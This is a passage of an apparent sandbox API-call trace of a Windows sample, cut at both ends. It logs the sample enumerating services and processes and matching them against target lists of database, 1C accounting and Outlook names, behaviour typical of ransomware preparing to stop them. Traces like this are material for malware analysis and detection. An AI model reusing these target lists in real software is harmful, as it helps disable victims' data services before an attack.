returned 11 [0242.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0242.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0242.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0242.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0242.320] lstrlenW (lpString="gpsvc") returned 5 [0242.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0242.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0242.320] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0242.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0242.320] lstrlenW (lpString="LanmanWorkstation") returned 17 [0242.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0242.320] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0242.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0242.320] lstrlenW (lpString="lmhosts") returned 7 [0242.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0242.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0242.321] lstrlenW (lpString="MMCSS") returned 5 [0242.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0242.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0242.321] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0242.321] lstrlenW (lpString="MpsSvc") returned 6 [0242.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0242.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0242.321] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0242.321] lstrlenW (lpString="NlaSvc") returned 6 [0242.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0242.321] lstrlenW (lpString="nsi") returned 3 [0242.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0242.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0242.321] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0242.321] lstrlenW (lpString="PcaSvc") returned 6 [0242.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0242.321] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0242.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0242.322] lstrlenW (lpString="PlugPlay") returned 8 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0242.322] lstrlenW (lpString="Power") returned 5 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0242.322] lstrlenW (lpString="ProfSvc") returned 7 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0242.322] lstrlenW (lpString="RpcEptMapper") returned 12 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0242.322] lstrlenW (lpString="RpcSs") returned 5 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0242.322] lstrlenW (lpString="SamSs") returned 5 [0242.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0242.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0242.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.323] lstrlenW (lpString="Schedule") returned 8 [0242.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.323] lstrlenW (lpString="SENS") returned 4 [0242.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.323] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.323] lstrlenW (lpString="Spooler") returned 7 [0242.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.323] lstrlenW (lpString="Themes") returned 6 [0242.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.323] lstrlenW (lpString="UxSms") returned 5 [0242.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0242.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0242.324] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0242.324] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0242.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0242.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0242.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0242.326] Process32FirstW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.326] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.326] lstrlenW (lpString="System") returned 6 [0242.327] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0242.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0242.327] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.327] lstrlenW (lpString="smss.exe") returned 8 [0242.327] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0242.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0242.327] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0242.327] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0242.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0242.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0242.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0242.328] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.328] lstrlenW (lpString="csrss.exe") returned 9 [0242.328] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0242.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0242.328] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0242.328] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0242.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0242.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0242.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0242.328] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.328] lstrlenW (lpString="wininit.exe") returned 11 [0242.328] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0242.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0242.328] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0242.328] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0242.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0242.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0242.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0242.329] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.329] lstrlenW (lpString="csrss.exe") returned 9 [0242.329] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0242.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0242.329] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0242.329] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0242.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0242.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0242.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0242.329] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.329] lstrlenW (lpString="winlogon.exe") returned 12 [0242.329] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0242.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0242.330] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0242.330] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0242.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0242.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0242.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0242.330] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.330] lstrlenW (lpString="services.exe") returned 12 [0242.330] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0242.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0242.330] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.330] lstrlenW (lpString="lsass.exe") returned 9 [0242.330] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0242.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0242.330] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0242.331] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0242.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0242.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0242.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0242.331] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.331] lstrlenW (lpString="lsm.exe") returned 7 [0242.331] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0242.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0242.331] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0242.331] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0242.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0242.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0242.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0242.331] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.331] lstrlenW (lpString="svchost.exe") returned 11 [0242.331] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.332] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.332] lstrlenW (lpString="svchost.exe") returned 11 [0242.332] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.332] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.332] lstrlenW (lpString="svchost.exe") returned 11 [0242.332] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.333] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.333] lstrlenW (lpString="svchost.exe") returned 11 [0242.333] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.333] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.333] lstrlenW (lpString="svchost.exe") returned 11 [0242.333] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.333] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.334] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.334] lstrlenW (lpString="audiodg.exe") returned 11 [0242.334] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.334] lstrlenW (lpString="svchost.exe") returned 11 [0242.334] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.335] lstrlenW (lpString="svchost.exe") returned 11 [0242.335] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0242.335] lstrlenW (lpString="userinit.exe") returned 12 [0242.335] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.335] lstrlenW (lpString="dwm.exe") returned 7 [0242.335] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.336] lstrlenW (lpString="explorer.exe") returned 12 [0242.336] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.336] lstrlenW (lpString="spoolsv.exe") returned 11 [0242.336] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.336] lstrlenW (lpString="taskhost.exe") returned 12 [0242.336] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.337] lstrlenW (lpString="svchost.exe") returned 11 [0242.337] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0242.337] lstrlenW (lpString="uyuquk.exe") returned 10 [0242.337] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | 